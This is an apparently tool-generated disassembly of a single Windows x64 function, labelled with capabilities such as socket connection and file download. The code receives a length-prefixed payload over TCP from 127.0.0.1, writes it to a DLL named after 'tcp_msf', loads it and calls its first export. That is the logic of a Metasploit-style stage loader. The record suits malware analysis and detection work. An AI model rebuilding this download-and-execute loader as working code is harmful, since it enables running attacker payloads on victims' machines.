Function at 0x140001670
Capabilities:
Connect socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x198], rax
xor r12d, r12d
mov dword [rsp + 0x20], r12d
lea rcx, [0x140001640]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rbx, vtable.tcp_socket::client.0
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 9
mov qword [rsp + 0x40], recv
movsd xmm0, qword [str.127.0.0.1]
movsd qword [rsp + 0x28], xmm0
movzx eax, byte [0x140003450]
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.140001ad0
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.140001290
mov qword [rsp + 0x120], rbx
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140001769
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001764
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001764
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c5c
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], recv
mov byte [rsp + 0x28], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x158]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x1400018e3
mov rbx, r12
mov edi, 4
lea rsi, [rsp + 0x110]
cmp rbx, 4
jae 0x1400017e3
sub rdi, rbx
add rsi, rbx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jle 0x140001926
cdqe
add rbx, rax
jmp 0x1400017b0
movsxd rcx, dword [rsp + 0x110]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
movsxd r8, dword [rsp + 0x110]
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
nop word [rax + rax]
movsxd r14, dword [rsp + 0x110]
mov rbx, r12
mov rdi, r14
mov rsi, r15
cmp rbx, r14
jae 0x140001853
sub rdi, rbx
add rsi, rbx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jle 0x140001969
cdqe
add rbx, rax
jmp 0x140001821
movsxd rbx, dword [rsp + 0x110]
lea rdx, [0x140003444]
lea rcx, str.D:project_tcp_msf_s.dll
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
mov r9, rax
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.D:project_tcp_msf_s.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
jmp 0x140001810
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
lea rdx, str.connect_time_out
lea rcx, [rsp + 0x50]
call fcn.1400019b0
nop
mov r8d, ebx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x98]
call fcn.1400011c0
lea rdx, [0x140004020]
lea rcx, [rsp + 0x98]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
lea rdx, str.recv_over
lea rcx, [rsp + 0x50]
call fcn.1400019b0
nop
mov r8d, ebx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.1400011c0
lea rdx, [0x140004020]
lea rcx, [rsp + 0xc0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
lea rdx, str.recv_over
lea rcx, [rsp + 0x50]
call fcn.1400019b0
nop
mov r8d, ebx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xe8]
call fcn.1400011c0
lea rdx, [0x140004020]
lea rcx, [rsp + 0xe8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3